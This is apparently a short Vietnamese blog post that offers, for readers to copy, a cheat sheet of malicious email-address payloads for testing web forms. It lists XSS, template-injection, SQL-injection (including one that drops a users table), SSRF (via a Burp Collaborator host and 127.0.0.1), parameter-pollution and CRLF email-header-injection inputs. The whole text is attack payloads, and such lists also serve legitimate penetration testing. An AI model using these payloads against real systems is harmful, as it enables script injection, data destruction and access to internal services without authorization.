Chép lại cho các ông copy nhé, nhất các ông :v
| XSS | test+(alert(0))@example.com test@example(alert(0)).com “alert(0)”@example.com |
| Template injection | “<%=7*7%>”@example.com test+(${{7*7}})@example.com |
| SQLi | “‘OR1=1–‘”@example.com “mail’);DROP TABLE users;–“@example.com |
| SSRF | john.doe@abc123.burpcollaborator.net john.doe@[127.0.0.1] |
| Parameter pollution | victim&email=attacker@example.com |
| (Email) Header injection | “%0d%0aContent-Length:%200%0d%0a%0d%0a”@example.com “recicpient@test.com>\r\nRCPT TO:<victim+”@test.com |
Nhat Truong Blog 